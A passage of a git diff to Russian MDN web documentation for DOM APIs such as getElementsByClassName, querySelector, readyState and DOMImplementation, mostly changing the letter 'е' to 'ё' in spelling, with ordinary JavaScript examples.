значения true/false. ПРИМЕЧАНИЕ: этот аргумент с перевёрнутой логикой (т.е. false = CSS / true = HTML). (Не поддерживается в Internet Explorer.) <strong>Внимание! Эта команда является устаревшей, используйте <em>styleWithCSS.</em></strong></dd> </dl> <dl> diff --git a/files/ru/web/api/document/getelementsbyclassname/index.html b/files/ru/web/api/document/getelementsbyclassname/index.html index d44e341517..4adfa6b971 100644 --- a/files/ru/web/api/document/getelementsbyclassname/index.html +++ b/files/ru/web/api/document/getelementsbyclassname/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Document/getElementsByClassName --- <p id="Summary">{{APIRef("DOM")}}</p> -<p>Возвращает массивоподобный (итерируемый) объект всех дочерних элементов, соответствующих всем из указанных имен классов. В случае вызова по отношению к объекту 'document', поиск происходит по всему документу, включая корневой элемент. Вызывать {{domxref("Element.getElementsByClassName", "getElementsByClassName()")}} можно также применительно к любому элементу: возвращены будут лишь те элементы, которые являются потомками указанного корневого элемента и имеют при этом указанные классы.</p> +<p>Возвращает массивоподобный (итерируемый) объект всех дочерних элементов, соответствующих всем из указанных имён классов. В случае вызова по отношению к объекту 'document', поиск происходит по всему документу, включая корневой элемент. Вызывать {{domxref("Element.getElementsByClassName", "getElementsByClassName()")}} можно также применительно к любому элементу: возвращены будут лишь те элементы, которые являются потомками указанного корневого элемента и имеют при этом указанные классы.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> @@ -14,7 +14,7 @@ translation_of: Web/API/Document/getElementsByClassName <ul> <li><var>В "elements"</var> будет текущая {{ domxref("HTMLCollection") }} найденных элементов.</li> - <li><var>"names"</var> - строка, состоящая из списка имен искомых классов; имена классов разделяют пробелами.</li> + <li><var>"names"</var> - строка, состоящая из списка имён искомых классов; имена классов разделяют пробелами.</li> <li>getElementsByClassName может быть вызвана по отношению к любому элементу, не только для документа целиком. ("document"). Элемент, по отношению к которому осуществляется вызов, используется для целей поиска в качестве корневого элемента.</li> </ul> @@ -32,7 +32,7 @@ translation_of: Web/API/Document/getElementsByClassName <pre class="brush: js">document.getElementById('main').getElementsByClassName('test');</pre> -<p>Мы также можем использовать методы из Array.prototype по отношению к любой {{ domxref("HTMLCollection") }}, передавая коллекцию в качестве значения <em>this</em> метода. Код в примере найдет все элементы 'div' с классом 'test':</p> +<p>Мы также можем использовать методы из Array.prototype по отношению к любой {{ domxref("HTMLCollection") }}, передавая коллекцию в качестве значения <em>this</em> метода. Код в примере найдёт все элементы 'div' с классом 'test':</p> <pre class="brush: js">var testElements = document.getElementsByClassName('test'); var testDivs = Array.prototype.filter.call(testElements, function(testElement){ @@ -41,7 +41,7 @@ var testDivs = Array.prototype.filter.call(testElements, function(testElement){ <h2 id="Получение_элементов_класса_'test'">Получение элементов класса 'test'</h2> -<p>Ниже приведен пример наиболее употребительного способа использования данного метода.</p> +<p>Ниже приведён пример наиболее употребительного способа использования данного метода.</p> <pre><!doctype html> <html> diff --git a/files/ru/web/api/document/getelementsbytagname/index.html b/files/ru/web/api/document/getelementsbytagname/index.html index 2829204e72..e737d72165 100644 --- a/files/ru/web/api/document/getelementsbytagname/index.html +++ b/files/ru/web/api/document/getelementsbytagname/index.html @@ -19,7 +19,7 @@ translation_of: Web/API/Document/getElementsByTagName <pre class="syntaxbox">var <var>elements</var> = document.getElementsByTagName(<em>name</em>);</pre> <ul> - <li><code>elements</code> это живая {{domxref("HTMLCollection")}} (с учетом примечания внизу) найденных документов в таком порядке в каком они появляются в дереве.</li> + <li><code>elements</code> это живая {{domxref("HTMLCollection")}} (с учётом примечания внизу) найденных документов в таком порядке в каком они появляются в дереве.</li> <li><code>name</code> строка представляющая собой имя элемента. Специальная строка "*" позволяет получить все элементы.</li> </ul> diff --git a/files/ru/web/api/document/head/index.html b/files/ru/web/api/document/head/index.html index 8645de05b4..b10712eb87 100644 --- a/files/ru/web/api/document/head/index.html +++ b/files/ru/web/api/document/head/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Document/head --- <p>{{APIRef("DOM")}}</p> -<p>Возвращает элемент {{HTMLElement("head")}} текущего документа. Если имеется более одного элемента <code><head></code>, будет возвращен первый из них.</p> +<p>Возвращает элемент {{HTMLElement("head")}} текущего документа. Если имеется более одного элемента <code><head></code>, будет возвращён первый из них.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/api/document/importnode/index.html b/files/ru/web/api/document/importnode/index.html index 4aa38a3763..95efbef96f 100644 --- a/files/ru/web/api/document/importnode/index.html +++ b/files/ru/web/api/document/importnode/index.html @@ -5,9 +5,9 @@ translation_of: Web/API/Document/importNode --- <div>{{APIRef("DOM")}}</div> -<p><span class="seoSummary">Метод <code><strong>importNode()</strong></code>объекта {{domxref("Document")}} создает копию {{domxref("Node")}} или {{domxref("DocumentFragment")}} из другого документа, для последующей вставки в текущий документ.</span></p> +<p><span class="seoSummary">Метод <code><strong>importNode()</strong></code>объекта {{domxref("Document")}} создаёт копию {{domxref("Node")}} или {{domxref("DocumentFragment")}} из другого документа, для последующей вставки в текущий документ.</span></p> -<p>Импортированный узел пока еще не включен в дерево документов. Чтобы добавить его, вам необходимо вызвать один из методов вставки, например, {{domxref("Node.appendChild", "appendChild()")}} или {{domxref("Node.insertBefore", "insertBefore()")}} с узлом, который <em>находится</em> в дереве документов.</p> +<p>Импортированный узел пока ещё не включён в дерево документов. Чтобы добавить его, вам необходимо вызвать один из методов вставки, например, {{domxref("Node.appendChild", "appendChild()")}} или {{domxref("Node.insertBefore", "insertBefore()")}} с узлом, который <em>находится</em> в дереве документов.</p> <p>В отличие от {{domxref("document.adoptNode()")}}, исходный узел не удаляется из исходного документа. Импортированный узел является клоном оригинала.</p> diff --git a/files/ru/web/api/document/index.html b/files/ru/web/api/document/index.html index 0437405ed7..77f9977abf 100644 --- a/files/ru/web/api/document/index.html +++ b/files/ru/web/api/document/index.html @@ -60,7 +60,7 @@ translation_of: Web/API/Document <dt>{{domxref("Document.inputEncoding")}} {{Deprecated_inline}}</dt> <dd>Возвращает кодировку, которая использовалась во время парсинга документа.</dd> <dt>{{domxref("Document.lastStyleSheetSet")}}</dt> - <dd>Возвращает имя последнего включенного набора таблиц стилей. Имеет значение <code>null</code> , пока таблица стилей не будет изменена путем установки значения {{domxref("Document.selectedStyleSheetSet","selectedStyleSheetSet")}}.</dd> + <dd>Возвращает имя последнего включённого набора таблиц стилей. Имеет значение <code>null</code> , пока таблица стилей не будет изменена путём установки значения {{domxref("Document.selectedStyleSheetSet","selectedStyleSheetSet")}}.</dd> <dt>{{domxref("Document.mozSyntheticDocument")}} {{non-standard_inline}} {{gecko_minversion_inline("8.0")}}</dt> <dd><code>true</code> если этот документ является синтетическим, например, отдельные изображения, видео, аудио файлы, или тому подобные.</dd> <dt>{{domxref("Document.mozFullScreen")}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}</dt> diff --git a/files/ru/web/api/document/keypress_event/index.html b/files/ru/web/api/document/keypress_event/index.html index cf6158c111..ac1a90647a 100644 --- a/files/ru/web/api/document/keypress_event/index.html +++ b/files/ru/web/api/document/keypress_event/index.html @@ -3,7 +3,7 @@ title: keypress slug: Web/API/Document/keypress_event translation_of: Web/API/Document/keypress_event --- -<p><span class="seoSummary">Событие <code>keypress</code> происходит когда нажимается символьная клавиша, то есть клавиша которая создает символ. Пример таких клавиш это буквы, цифры, знаки пунктуации и т.д. Примеры клавиш которые не создают символы, это клавиши модификаторы, такие как: </span><kbd>Alt</kbd>, <kbd>Shift</kbd>, <kbd>Ctrl</kbd>, or <kbd>Meta</kbd><span class="seoSummary">.</span></p> +<p><span class="seoSummary">Событие <code>keypress</code> происходит когда нажимается символьная клавиша, то есть клавиша которая создаёт символ. Пример таких клавиш это буквы, цифры, знаки пунктуации и т.д. Примеры клавиш которые не создают символы, это клавиши модификаторы, такие как: </span><kbd>Alt</kbd>, <kbd>Shift</kbd>, <kbd>Ctrl</kbd>, or <kbd>Meta</kbd><span class="seoSummary">.</span></p> <h2 id="Общая_информация">Общая информация</h2> diff --git a/files/ru/web/api/document/queryselector/index.html b/files/ru/web/api/document/queryselector/index.html index 4ec3c94009..69972a97d7 100644 --- a/files/ru/web/api/document/queryselector/index.html +++ b/files/ru/web/api/document/queryselector/index.html @@ -57,7 +57,7 @@ translation_of: Web/API/Document/querySelector <h3 id="Экранирование_специальных_символов">Экранирование специальных символов</h3> -<p>Чтобы сопоставить ID или селекторы, которые не соответствуют стандартному синтаксису CSS (например, использующих ненадлежащим образом двоеточие или пробел), необходимо экранировать символ обратной косой чертой ("<code>\</code>"). Поскольку обратная косая черта также является экранирующим символом в JavaScript, то при вводе литеральной строки необходимо экранировать ее <em>дважды</em> (первый раз для строки JavaScript и второй для <code>querySelector()</code>):</p> +<p>Чтобы сопоставить ID или селекторы, которые не соответствуют стандартному синтаксису CSS (например, использующих ненадлежащим образом двоеточие или пробел), необходимо экранировать символ обратной косой чертой ("<code>\</code>"). Поскольку обратная косая черта также является экранирующим символом в JavaScript, то при вводе литеральной строки необходимо экранировать её <em>дважды</em> (первый раз для строки JavaScript и второй для <code>querySelector()</code>):</p> <pre class="brush: html notranslate"><div id="foo\bar"></div> <div id="foo:bar"></div> @@ -78,7 +78,7 @@ translation_of: Web/API/Document/querySelector <h3 id="Выбор_первого_элемента_с_совпадающим_классом">Выбор первого элемента с совпадающим классом</h3> -<p>В этом примере, нам вернется первый элемент в документе с классом "<code>myclass</code>":</p> +<p>В этом примере, нам вернётся первый элемент в документе с классом "<code>myclass</code>":</p> <pre class="brush: js notranslate">var el = document.querySelector(".myclass"); </pre> diff --git a/files/ru/web/api/document/readystate/index.html b/files/ru/web/api/document/readystate/index.html index 52eb1850bb..6950772a90 100644 --- a/files/ru/web/api/document/readystate/index.html +++ b/files/ru/web/api/document/readystate/index.html @@ -24,9 +24,9 @@ translation_of: Web/API/Document/readyState <dl> <dt><code>loading</code></dt> - <dd>Страница все еще загружается.</dd> + <dd>Страница все ещё загружается.</dd> <dt><code>interactive</code></dt> - <dd>Страница уже загружена и <a href="/en-US/docs/Glossary/DOM">DOM</a> дерево построено, но дополнительные ресурсы, такие как изображения и <a href="/en-US/docs/Web/HTML/Element/iframe">iframe</a>, все еще загружаются.</dd> + <dd>Страница уже загружена и <a href="/en-US/docs/Glossary/DOM">DOM</a> дерево построено, но дополнительные ресурсы, такие как изображения и <a href="/en-US/docs/Web/HTML/Element/iframe">iframe</a>, все ещё загружаются.</dd> <dt><code>complete</code></dt> <dd>Страница и все дополнительные ресурсы уже загружены. Это состояние указывает, что событие {{event("load")}} уже вызвано.</dd> </dl> @@ -39,7 +39,7 @@ translation_of: Web/API/Document/readyState <pre class="brush: js notranslate"><span>switch (document.readyState) { case "loading": - // Страница все еще загружается + // Страница все ещё загружается break; case "interactive": // Страница уже загружена. Теперь мы можем получить доступ к DOM объектам. diff --git a/files/ru/web/api/document/referrer/index.html b/files/ru/web/api/document/referrer/index.html index 2855d99c69..b60801adbf 100644 --- a/files/ru/web/api/document/referrer/index.html +++ b/files/ru/web/api/document/referrer/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Document/referrer --- <div>{{APIRef("DOM")}}</div> -<p>Возвращает <a href="http://www.w3.org/Addressing/#background">URI</a> страницы, с которой был совершен переход на текущую.</p> +<p>Возвращает <a href="http://www.w3.org/Addressing/#background">URI</a> страницы, с которой был совершён переход на текущую.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -18,7 +18,7 @@ translation_of: Web/API/Document/referrer <h3 id="Значение">Значение</h3> -<p>Вернет пустую строку, если пользователь попал на страницу напрямую (не через ссылку, а, например, через закладку). Т.к. свойство возвращает строку, это не дает вам доступ к DOM ссылающейся страницы.</p> +<p>Вернёт пустую строку, если пользователь попал на страницу напрямую (не через ссылку, а, например, через закладку). Т.к. свойство возвращает строку, это не даёт вам доступ к DOM ссылающейся страницы.</p> <p>Внутри элемента {{HTMLElement("iframe")}}, <code>Document.referrer</code> первоначально будет установлен в тоже значение, что и {{domxref("HTMLHyperlinkElementUtils/href", "href")}} объекта {{domxref("Window/location", "Window.location")}} родительского окна.</p> diff --git a/files/ru/web/api/document/scroll_event/index.html b/files/ru/web/api/document/scroll_event/index.html index 041c505630..5b50a26c31 100644 --- a/files/ru/web/api/document/scroll_event/index.html +++ b/files/ru/web/api/document/scroll_event/index.html @@ -46,9 +46,9 @@ translation_of: Web/API/Document/scroll_event <h3 id="Пропуск_тактов_события_прокрутки">Пропуск тактов события прокрутки</h3> -<p>Поскольку события прокрутки могут запускаться с высокой скоростью, обработчик событий не должен выполнять вычислительно-емкие операции, такие как модификации DOM. Вместо этого рекомендуется пропускать такты события, используя {{DOMxRef("Window.requestAnimationFrame()", "requestAnimationFrame()")}}, {{DOMxRef("WindowOrWorkerGlobalScope.setTimeout()", "setTimeout()")}} или {{DOMxRef("CustomEvent")}}, как показано ниже.</p> +<p>Поскольку события прокрутки могут запускаться с высокой скоростью, обработчик событий не должен выполнять вычислительно-ёмкие операции, такие как модификации DOM. Вместо этого рекомендуется пропускать такты события, используя {{DOMxRef("Window.requestAnimationFrame()", "requestAnimationFrame()")}}, {{DOMxRef("WindowOrWorkerGlobalScope.setTimeout()", "setTimeout()")}} или {{DOMxRef("CustomEvent")}}, как показано ниже.</p> -<p>Обратите внимание, однако, что входные события и кадры анимации запускаются примерно с одинаковой скоростью, и поэтому приведенная ниже оптимизация зачастую не требуется. В примере ниже оптимизируется событие <code>scroll</code> для <code>requestAnimationFrame</code>:</p> +<p>Обратите внимание, однако, что входные события и кадры анимации запускаются примерно с одинаковой скоростью, и поэтому приведённая ниже оптимизация зачастую не требуется. В примере ниже оптимизируется событие <code>scroll</code> для <code>requestAnimationFrame</code>:</p> <pre class="brush: js notranslate">// Источник: http://www.html5rocks.com/en/tutorials/speed/animations/ diff --git a/files/ru/web/api/document_object_model/events/index.html b/files/ru/web/api/document_object_model/events/index.html index b8dd38e9d8..eb3a257182 100644 --- a/files/ru/web/api/document_object_model/events/index.html +++ b/files/ru/web/api/document_object_model/events/index.html @@ -10,7 +10,7 @@ original_slug: DOM/DOM_Reference/Events <p>В этой главе описывается модель событий DOM. <a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event">Топ скрыть</a> Интерфейс сам по себе описано, а также интерфейсы для регистрации событий на узлах в DOM, Также а <a href="/ru/docs/Web/API/EventTarget.addEventListener">обработчики события</a> Главного , Также а Несколько больше Примеры, которые показывают, как Различные интерфейсы связаны друг события Главного с другом.</p> -<p>Существует отличная диаграмма, которая четко объясняет события трех этапов через DOM в проекте <a href="http://www.w3.org/TR/DOM-Level-3-Events/#dom-event-architecture">DOM Level 3 Events</a> .</p> +<p>Существует отличная диаграмма, которая чётко объясняет события трёх этапов через DOM в проекте <a href="http://www.w3.org/TR/DOM-Level-3-Events/#dom-event-architecture">DOM Level 3 Events</a> .</p> <p>Также см. <a href="/ru/docs/DOM/DOM_Reference/Examples#Example_5:_Event_Propagation">Пример 5: Распространение событий</a> в главе «Примеры» для более подробного примера.</p> @@ -41,7 +41,7 @@ function greet (event) { <pre class="brush: html"><button onclick = "alert ('Hello world!')"> </pre> -<p>Код JavaScript в атрибуте передается объекту Event через <code>event</code>параметр. <a href="http://dev.w3.org/html5/spec/webappapis.html#the-event-handler-processing-algorithm">Возвращаемое значение обрабатывается особым образом, описанным в спецификации HTML</a> .</p> +<p>Код JavaScript в атрибуте передаётся объекту Event через <code>event</code>параметр. <a href="http://dev.w3.org/html5/spec/webappapis.html#the-event-handler-processing-algorithm">Возвращаемое значение обрабатывается особым образом, описанным в спецификации HTML</a> .</p> <p>Этого пути следует избегать. Это делает разметку больше и менее читаемой. Проблемы содержания / структуры и поведения плохо разделены, что затрудняет поиск ошибки.</p> @@ -57,9 +57,9 @@ function greet (event) { <h2 id="Доступ_к_интерфейсам_событий">Доступ к интерфейсам событий</h2> -<p>Обработчики событий могут быть присоединены к различным объектам, включая элементы DOM, документ, <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects">объект окна</a> и т. Д. Когда происходит событие, объект события создается и последовательно передается обработчикам события.</p> +<p>Обработчики событий могут быть присоединены к различным объектам, включая элементы DOM, документ, <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects">объект окна</a> и т. Д. Когда происходит событие, объект события создаётся и последовательно передаётся обработчикам события.</p> -<p>Интерфейс {{domxref ("Event")}} доступен из функции-обработчика через объект события, переданный в качестве первого аргумента. В следующем простом примере показано, как объект события передается в функцию-обработчик события и может использоваться из одной такой функции.</p> +<p>Интерфейс {{domxref ("Event")}} доступен из функции-обработчика через объект события, переданный в качестве первого аргумента. В следующем простом примере показано, как объект события передаётся в функцию-обработчик события и может использоваться из одной такой функции.</p> <pre class="brush: js"><code>function print(evt) {</code> // параметру evt автоматически назначается объект события diff --git a/files/ru/web/api/document_object_model/examples/index.html b/files/ru/web/api/document_object_model/examples/index.html index 18eb89b351..6f0354b793 100644 --- a/files/ru/web/api/document_object_model/examples/index.html +++ b/files/ru/web/api/document_object_model/examples/index.html @@ -368,7 +368,7 @@ for (var i = 0; i < 2; i++) { <h3 id="Notes" name="Notes">Заметки</h3> <ul> - <li>Свойство таблицы {{domxref ("element.innerHTML", "innerHTML")}} никогда не должно использоваться для изменения таблицы, хотя вы можете использовать ее для записи всей таблицы или содержимого ячейки.</li> + <li>Свойство таблицы {{domxref ("element.innerHTML", "innerHTML")}} никогда не должно использоваться для изменения таблицы, хотя вы можете использовать её для записи всей таблицы или содержимого ячейки.</li> <li>Если для создания строк и ячеек используются методы DOM Core {{domxref ("document.createElement")}} и {{domxref ("Node.appendChild")}}, IE требует, чтобы они были добавлены к элементу tbody, тогда как другие браузеры позволят добавлять к элементу таблицы (строки будут добавлены к последнему элементу tbody).</li> <li>Существует ряд других методов, относящихся к интерфейсу таблицы, которые могут использоваться для создания и изменения таблиц.</li> </ul> diff --git a/files/ru/web/api/document_object_model/introduction/index.html b/files/ru/web/api/document_object_model/introduction/index.html index e906032520..426ebcbe5e 100644 --- a/files/ru/web/api/document_object_model/introduction/index.html +++ b/files/ru/web/api/document_object_model/introduction/index.html @@ -54,7 +54,7 @@ p_list = doc.getElementsByTagName("para");</code></pre> <pre class="language-html"><body onload="window.alert('добро пожаловать на мою домашнюю страницу!');"> </pre> -<p>В следующем примере внутри элемента <code><script></code> определен код JavaScript, данный код устанавливает функцию при загрузке документа (когда весь DOM доступен для использования). Эта функция создает новый элемент H1, добавляет текст в данный элемент, а затем добавляет H1 в дерево документа:</p> +<p>В следующем примере внутри элемента <code><script></code> определён код JavaScript, данный код устанавливает функцию при загрузке документа (когда весь DOM доступен для использования). Эта функция создаёт новый элемент H1, добавляет текст в данный элемент, а затем добавляет H1 в дерево документа:</p> <pre class="brush: html language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>html</span><span class="punctuation token">></span></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>head</span><span class="punctuation token">></span></span> @@ -111,7 +111,7 @@ p_list = doc.getElementsByTagName("para");</code></pre> </tr> <tr> <td>namedNodeMap</td> - <td>namedNodeMap подобна массиву, но элементы доступны по имени или индексу. Доступ по индексу - это лишь для удобства перечисления, т.к. элементы не имеют определенного порядка в списке. Этот тип данных имеет метод item() для этих целей и вы можете также добавлять и удалять элементы из namedNodeMap</td> + <td>namedNodeMap подобна массиву, но элементы доступны по имени или индексу. Доступ по индексу - это лишь для удобства перечисления, т.к. элементы не имеют определённого порядка в списке. Этот тип данных имеет метод item() для этих целей и вы можете также добавлять и удалять элементы из namedNodeMap</td> </tr> </tbody> </table> @@ -144,11 +144,11 @@ table.summary = "note: increased border";</pre> <h3 id="Основные_интерфейсы_в_DOM_Core_interfaces_in_the_DOM">Основные интерфейсы в DOM (Core interfaces in the DOM)</h3> -<p>Этот раздел перечисляет несколько самых распространенных интерфейсов в DOM. Идея не в том чтобы описать, что делают эти методы API, но в том чтобы дать вам несколько мыслей насчет видов методов и свойств, которые вы будете часто видеть, используя DOM. Эти распространенные части API использованы в большинстве примеров раздела <a href="https://developer.mozilla.org/en-US/docs/Gecko_DOM_Reference/Examples">DOM Examples</a> в конце этой справки.</p> +<p>Этот раздел перечисляет несколько самых распространённых интерфейсов в DOM. Идея не в том чтобы описать, что делают эти методы API, но в том чтобы дать вам несколько мыслей насчёт видов методов и свойств, которые вы будете часто видеть, используя DOM. Эти распространённые части API использованы в большинстве примеров раздела <a href="https://developer.mozilla.org/en-US/docs/Gecko_DOM_Reference/Examples">DOM Examples</a> в конце этой справки.</p> <p><code>Document, window</code> - это объекты, чьи интерфейсы вы, как правило, очень часто используете в программировании DOM. Говоря простыми словами, объект <code>window</code> представляет что-то вроде браузера, а объект <code>document</code> - корень самого документа. <code>Element</code> наследуется от общего интерфейса <code>Node</code>, и эти интерфейсы вместе предоставляют много методов и свойств, которые можно применять у отдельных элементов. Эти элементы также могут иметь отдельные интерфейсы для работы с типами данных, которые эти элементы содержат, как в примере с объектом <code>table</code> в предыдущем случае.</p> -<p>Ниже представлен краткий список распространенных членов API, используемых в программировании веб- и XML-страниц с использованием DOM:</p> +<p>Ниже представлен краткий список распространённых членов API, используемых в программировании веб- и XML-страниц с использованием DOM:</p> <ul> <li><code><a href="/ru/docs/Web/API/Document/getElementById">document.getElementById</a>(id)</code></li> diff --git a/files/ru/web/api/document_object_model/locating_dom_elements_using_selectors/index.html b/files/ru/web/api/document_object_model/locating_dom_elements_using_selectors/index.html index 0bdfd09bdc..fcf0e9351a 100644 --- a/files/ru/web/api/document_object_model/locating_dom_elements_using_selectors/index.html +++ b/files/ru/web/api/document_object_model/locating_dom_elements_using_selectors/index.html @@ -6,7 +6,7 @@ original_slug: DOM/DOM_Reference/Locating_DOM_elements_using_selectors --- <div>{{ gecko_minversion_header("1.9.1") }}</div> -<div>Selectors API предоставляет методы, с помощью которых можно быстро и просто получить доступ к узлам <code><a href="/en-US/docs/DOM/element">Element</a></code> из DOM путем сопоставления с набором селекторов. Это намного быстрее, чем прошлые техники, где надо было, например, использовать цикл в JS-коде, чтобы найти конкретные элементы.</div> +<div>Selectors API предоставляет методы, с помощью которых можно быстро и просто получить доступ к узлам <code><a href="/en-US/docs/DOM/element">Element</a></code> из DOM путём сопоставления с набором селекторов. Это намного быстрее, чем прошлые техники, где надо было, например, использовать цикл в JS-коде, чтобы найти конкретные элементы.</div> <div> </div> @@ -16,7 +16,7 @@ original_slug: DOM/DOM_Reference/Locating_DOM_elements_using_selectors <dl> <dt><code>querySelector</code></dt> - <dd>Возвращает первый совпадающий узел <a class="internal" href="/en-US/docs/DOM/element" title="en-US/docs/DOM/Element"><code>Element</code></a> внутри поддерева. Если совпадающих узлов нет, будет возвращен <code>null</code>.</dd> + <dd>Возвращает первый совпадающий узел <a class="internal" href="/en-US/docs/DOM/element" title="en-US/docs/DOM/Element"><code>Element</code></a> внутри поддерева. Если совпадающих узлов нет, будет возвращён <code>null</code>.</dd> <dt><code>querySelectorAll</code></dt> <dd>Возвращает <a class="internal" href="/en-US/docs/DOM/NodeList" title="en-US/docs/DOM/NodeList"><code>NodeList</code></a><code>, </code>содержащий все подходящие узлы <code>Element</code> внутри поддерева узлов. Или возвращает пустой <code>NodeList</code>, если совпадений не найдено.</dd> </dl> @@ -27,7 +27,7 @@ original_slug: DOM/DOM_Reference/Locating_DOM_elements_using_selectors <h2 id="Selectors">Selectors</h2> -<p>Селекторные методы принимают один или больше селекторов, разделенных запятыми, чтобы определить, какие элементы должны быть возвращены. Например, чтобы все параграфы в документе, которые имеют классы <code>warning </code>или <code>note</code>, можно сделать следующее:</p> +<p>Селекторные методы принимают один или больше селекторов, разделённых запятыми, чтобы определить, какие элементы должны быть возвращены. Например, чтобы все параграфы в документе, которые имеют классы <code>warning </code>или <code>note</code>, можно сделать следующее:</p> <pre><code>var special = document.querySelectorAll( "p.warning, p.note" );</code></pre> diff --git a/files/ru/web/api/documentfragment/index.html b/files/ru/web/api/documentfragment/index.html index 61a6ae1571..edfbe14735 100644 --- a/files/ru/web/api/documentfragment/index.html +++ b/files/ru/web/api/documentfragment/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/DocumentFragment --- <p>{{ APIRef("DOM") }}</p> -<p>Интерфейс DocumentFragment представляет собой минимальный объект документа, который не имеет родителя. Он используется как легкая версия {{domxref ("Document")}}, чтобы хранить хорошо сформированные или потенциально не хорошо формированные фрагменты XML.</p> +<p>Интерфейс DocumentFragment представляет собой минимальный объект документа, который не имеет родителя. Он используется как лёгкая версия {{domxref ("Document")}}, чтобы хранить хорошо сформированные или потенциально не хорошо формированные фрагменты XML.</p> <p>Различные другие методы могут взять document fragment в качестве аргумента (например, любые методы интерфейса Node, такие как Node.appendChild и Node.insertBefore), в этом случае прикрепляются или вставляются дети фрагмента, а не сам фрагмент.</p> @@ -15,7 +15,7 @@ translation_of: Web/API/DocumentFragment <h2 id="Specification" name="Specification">Свойства</h2> -<p><em>Этот интерфейс не имеет определенных свойств помимо наследуемых от его родителя, {{domxref("Node")}}, и реализует их из интерфейса {{domxref("ParentNode")}}.</em></p> +<p><em>Этот интерфейс не имеет определённых свойств помимо наследуемых от его родителя, {{domxref("Node")}}, и реализует их из интерфейса {{domxref("ParentNode")}}.</em></p> <dl> <dt>{{ domxref("ParentNode.children") }} {{readonlyInline}}{{experimental_inline}}</dt> diff --git a/files/ru/web/api/domhighrestimestamp/index.html b/files/ru/web/api/domhighrestimestamp/index.html index 666c2f7ecc..08264fdf0d 100644 --- a/files/ru/web/api/domhighrestimestamp/index.html +++ b/files/ru/web/api/domhighrestimestamp/index.html @@ -23,7 +23,7 @@ event.timeStamp // ... -// уменьшенная точность времени с включенным `privacy.resistFingerprinting` +// уменьшенная точность времени с включённым `privacy.resistFingerprinting` event.timeStamp; // 1519129853500 // 1519129858900 diff --git a/files/ru/web/api/domimplementation/createhtmldocument/index.html b/files/ru/web/api/domimplementation/createhtmldocument/index.html index 51092a034b..b339da409b 100644 --- a/files/ru/web/api/domimplementation/createhtmldocument/index.html +++ b/files/ru/web/api/domimplementation/createhtmldocument/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/DOMImplementation/createHTMLDocument --- <p>{{ApiRef("DOM")}}</p> -<p><span class="seoSummary">Метод <strong><code>DOMImplementation.createHTMLDocument()</code></strong> создает новый HTML {{ domxref("Document") }}.</span></p> +<p><span class="seoSummary">Метод <strong><code>DOMImplementation.createHTMLDocument()</code></strong> создаёт новый HTML {{ domxref("Document") }}.</span></p> <h2 id="Синтаксис">Синтаксис</h2> @@ -26,7 +26,7 @@ translation_of: Web/API/DOMImplementation/createHTMLDocument <h2 id="Пример">Пример</h2> -<p>В этом примере создается новый HTML-документ и вставляется в {{HTMLElement("iframe")}} текущего документа.</p> +<p>В этом примере создаётся новый HTML-документ и вставляется в {{HTMLElement("iframe")}} текущего документа.</p> <p>Вот HTML для этого примера:</p> diff --git a/files/ru/web/api/domimplementation/index.html b/files/ru/web/api/domimplementation/index.html index f68c256376..e0e5834098 100644 --- a/files/ru/web/api/domimplementation/index.html +++ b/files/ru/web/api/domimplementation/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/DOMImplementation <h2 id="Свойства">Свойства</h2> -<p><em>Этот интерфейс не имеет определенного свойства и не наследует его.</em></p> +<p><em>Этот интерфейс не имеет определённого свойства и не наследует его.</em></p> <h2 id="Методы">Методы</h2> @@ -22,13 +22,13 @@ translation_of: Web/API/DOMImplementation <dl> <dt>{{domxref("DOMImplementation.createDocument()")}}</dt> - <dd>Создает и возвращает {{domxref("XMLDocument")}}.</dd> + <dd>Создаёт и возвращает {{domxref("XMLDocument")}}.</dd> <dt>{{domxref("DOMImplementation.createDocumentType()")}}</dt> - <dd>Создает и возвращает {{domxref("DocumentType")}}.</dd> + <dd>Создаёт и возвращает {{domxref("DocumentType")}}.</dd> <dt>{{domxref("DOMImplementation.createHTMLDocument()")}}</dt> - <dd>Создает и возвращает HTML {{domxref("Document")}}.</dd> + <dd>Создаёт и возвращает HTML {{domxref("Document")}}.</dd> <dt>{{domxref("DOMImplementation.hasFeature()")}}</dt> - <dd>Возвращает {{domxref("Boolean")}}, указывающий, поддерживается ли данная функция или нет. Эта функция ненадежна и сохраняется только для целей совместимости: за исключением запросов, связанных с SVG, она всегда возвращает true. Старые браузеры очень непоследовательны в своем поведении.</dd> + <dd>Возвращает {{domxref("Boolean")}}, указывающий, поддерживается ли данная функция или нет. Эта функция ненадёжна и сохраняется только для целей совместимости: за исключением запросов, связанных с SVG, она всегда возвращает true. Старые браузеры очень непоследовательны в своём поведении.</dd> </dl> <h2 id="Спецификации">Спецификации</h2> @@ -48,7 +48,7 @@ translation_of: Web/API/DOMImplementation Added the <code>createHTMLDocument()</code> method.<br> Modified the return type of <code>createDocument()</code> from {{domxref("Document")}} to {{domxref("XMLDocument")}}.</p> - <p>Удален метод <code>getFeature()</code>. Добавлен метод <code>createHTMLDocument()</code>. Изменён тип возвращаемого значения <code>createDocument()</code> с {{domxref("Document")}} на {{domxref("XMLDocument")}}.</p> + <p>Удалён метод <code>getFeature()</code>. Добавлен метод <code>createHTMLDocument()</code>. Изменён тип возвращаемого значения <code>createDocument()</code> с {{domxref("Document")}} на {{domxref("XMLDocument")}}.</p> </td> </tr> <tr> diff --git a/files/ru/web/api/domparser/index.html b/files/ru/web/api/domparser/index.html index a23e5cb58e..76d1ed4964 100644 --- a/files/ru/web/api/domparser/index.html +++ b/files/ru/web/api/domparser/index.html @@ -30,7 +30,7 @@ var doc = parser.parseFromString(stringContainingXMLSource, "application/xml"); <h3 id="Error_handling" name="Error_handling">Обработка ошибок</h3> -<p>Заметьте, если процесс парсинга не удастся , <code>DOMParser</code> теперь не выдает исключение, но вместо этого выдает документ ошибки 